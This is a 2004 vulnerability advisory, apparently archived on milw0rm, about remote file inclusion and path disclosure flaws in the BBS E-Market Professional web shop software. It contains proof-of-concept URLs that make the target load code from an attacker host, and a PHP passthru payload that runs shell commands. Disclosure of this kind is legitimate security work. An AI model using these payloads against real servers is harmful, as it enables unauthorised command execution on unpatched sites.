138 lines
No EOL
4.3 KiB
Text
138 lines
No EOL
4.3 KiB
Text
____________________ ___ ___ ________
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\_ _____/\_ ___ \ / | \\_____ \
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| __)_ / \ \// ~ \/ | \
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| \\ \___\ Y / | \
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/_______ / \______ /\___|_ /\_______ /
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\/ \/ \/ \/
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.OR.ID
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ECHO_ADV_06$2004
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Multiple vulnerabilities 1n BBS E-Market Professional
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Author: y3dips
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Date: Sept, 7th 2004
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Location: Indonesian, Jakarta
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Web: http://echo.or.id/adv/adv06-y3dips-2004.txt
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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E-market is commercial software made by korean company, includes shopping mall,
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community , e-crm (e-customer relationship management) , group buying ,weblog,
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auction, estimate sheet , and other features
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web : http://www.nt.co.kr
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http://www.bbs2000.co.kr
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Risk: very high ( ***** )
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most off all korean sites that handle e-shop , e-banking,... use this
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d**n software
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else, no more info could get cause the site in korean language :(
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Vulnerabilities:
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~~~~~~~~~~~~~~~~
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1. Remote Command Execution
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Remote command execution on 'becommunity' (modules that support by BBS e-market
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professional) makes insecure calls to the include() function of PHP (works
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on " pageurl= " functions ) which can allow the inclusion of remote files,
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and thereby the execution of arbitrary commands by remote user with the web
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server user permissions, usually 'nobody' .
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http://[TARGET]/becommunity/community/index.php?pageurl=[injection URL]
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http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=[injection URL]
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POC=
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http://[TARGET]/becommunity/community/index.php?pageurl=http://[ATTACKER]/echo.txt?
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http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=http://[ATTACKER]/echo.txt?
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Exploit :
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~~~~~~~~~
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-------------------------------- cut -------------------------------------
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<?
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echo "".passthru(' ls -la ; id ')."";
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?>
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---------------------------------- cut ------------------------------------
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save on attacker URL with name: echo.txt , to get a listing of file or directories ,
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with user id that we got
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2. Full Path disclosure
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A remote user can access the file to cause the system to display an error
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message that indicates the installation path. The resulting error message
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will disclose potentially sensitive installation path information to the
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remote attacker.
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http://[TARGET]/becommunity/community/index.php?from_market=[char]
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POC =
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http://[TARGET]/becommunity/community/index.php?from_market=dudul
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Warning: main(main.php) [function.main]: failed to create stream: No such file
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or directory in /home5/standard_r5/[TARGET]/html/becommunity/community/index.php on line 239
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Warning: main() [function.main]: Failed opening 'main.php' for inclusion
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(include_path='.:/usr/local/php/lib/php')
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in /home5/standard_r5/[TARGET]/html/becommunity/community/index.php on line 239
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The fix:
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~~~~~
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No Access to the code,- so buh bye :)
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Vendor allready contacted but no response till now
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Disclamier:
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~~~~~~~
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Advice, directions, instructions and script on security vulnerabilities
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in this advisory for educational purpose, y3dips nor echo.or.id does not
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accept responsibility for any damage or injury caused as a result of its use
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Shoutz:
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~~~~~
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~ K-159, m0by, the_day, comex, z3r0byt3, c-a-s-e, S`to @T echo/staff
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~ Biatch-x, yudhax, lieur-euy || newbie_hacker@yahoogroups.com
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~ #e-c-h-o & #aikmel @DALNET
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---------------------------------------------------------------------------
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Contact:
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~~~~~~~~
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y3dips || echo|staff || y3dips(at)echo(dot)or(dot)id
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Homepage: http://y3dips.echo.or.id/
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-------------------------------- [ EOF ] ----------------------------------
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# milw0rm.com [2006-12-02] |